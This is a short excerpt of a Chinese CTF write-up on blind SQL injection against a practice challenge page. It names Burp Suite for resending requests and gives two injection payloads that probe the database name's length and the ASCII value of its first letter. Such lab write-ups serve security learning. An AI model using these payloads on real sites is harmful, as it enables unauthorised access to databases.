簡單的sql注入之3-盲注

http://ctf5.shiyanbar.com/web/index_3.phpphp 盲注web 猜數據庫名         方法一：（能夠經過burpsuite攔截數據包，更改ascii值重發獲取）         1' and length(database())=4 #數據庫名長度是4         1' and ascii(substr(database(),1,1))=119#  

>>阅读原文<<